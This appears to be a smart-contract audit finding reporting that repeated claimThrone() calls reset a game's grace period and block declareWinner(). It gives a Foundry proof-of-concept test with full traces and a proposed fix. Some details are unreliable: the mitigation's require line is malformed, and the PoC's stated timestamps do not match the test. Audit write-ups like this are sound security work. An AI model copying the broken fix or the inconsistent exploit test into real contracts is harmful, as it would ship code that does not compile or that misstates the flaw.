Root + Impact
[H-4] Grace Period Can Be Bypassed Indefinitely Throne Claims — DoS Vulnerability in declareWinner
Description
The declareWinner()
function checks if block.timestamp > lastClaimTime + gracePeriod
to determine
if the game should end.However, since claimThrone() updates lastClaimTime every time a new user claims the throne,
any actor can continuously re-claim the throne right before the gracePeriod expires, indefinitely resetting the timer.
This creates a denial-of-service vector where a malicious actor (or bot) can grief the game and prevent the winner from ever being declared, unless the attacker stops or runs out of gas/ETH.
Impact:
1.The declareWinner() function can be permanently blocked by malicious users.
2.Honest players can never win the game despite waiting through the grace period.
3.The entire game can be held hostage by a spammer.
Proof of Concept
1.Bob calls claim throne-lastclaimtime=1
2.alice calls claim throne-lastclaimtime=36001
3.malicious actor calls claimthrone-lastclaimtime=72001
4.Since declareWinner() requires current time > lastClaimTime + TIMEOUT, the game can be
indefinitely stalled by malicious actors.
function test_dos() public {
vm.startPrank(bob);
game.claimThrone{value: 1 ether}();
vm.stopPrank();
vm.warp(36000);
vm.startPrank(alice);
game.claimThrone{value: 1.1 ether}();
vm.stopPrank();
vm.warp(36000);
vm.startPrank(maliciousActor);
game.claimThrone{value: 1.5 ether}();
vm.stopPrank();
vm.expectRevert();
game.declareWinner();
}
Traces:
[302401] GameTest::test_dos()
├─ [0] VM::startPrank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
│ └─ ← [Return]
├─ [152621] Game::claimThrone{value: 1000000000000000000}()
│ ├─ emit ThroneClaimed(newKing: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], claimAmount: 1000000000000000000 [1e18], newClaimFee: 1010000000000000000 [1.01e18], newPot: 990000000000000000 [9.9e17], timestamp: 1)
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(36000 [3.6e4])
│ └─ ← [Return]
├─ [0] VM::startPrank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
│ └─ ← [Return]
├─ [52921] Game::claimThrone{value: 1100000000000000000}()
│ ├─ emit ThroneClaimed(newKing: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], claimAmount: 1100000000000000000 [1.1e18], newClaimFee: 1020100000000000000 [1.02e18], newPot: 2079000000000000000 [2.079e18], timestamp: 36000 [3.6e4])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(36000 [3.6e4])
│ └─ ← [Return]
├─ [0] VM::startPrank(maliciousActor: [0x195Ef46F233F37FF15b37c022c293753Dc04A8C3])
│ └─ ← [Return]
├─ [50121] Game::claimThrone{value: 1500000000000000000}()
│ ├─ emit ThroneClaimed(newKing: maliciousActor: [0x195Ef46F233F37FF15b37c022c293753Dc04A8C3], claimAmount: 1500000000000000000 [1.5e18], newClaimFee: 1030301000000000000 [1.03e18], newPot: 3564000000000000000 [3.564e18], timestamp: 36000 [3.6e4])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error 0xf4844814)
│ └─ ← [Return]
├─ [6786] Game::declareWinner()
│ ├─ [0] console::log("in contract:", 36000 [3.6e4]) [staticcall]
│ │ └─ ← [Stop]
│ └─ ← [Revert] revert: Game: Grace period has not expired yet.
└─ ← [Stop]
Recommended Mitigation
Lock the throne after grace period starts:
function claimThrone() external payable gameNotEnded nonReentrant {
+require(block.timestamp <=+ gracePeriod, "Game: Grace period started, no more claims allowed.");
...
}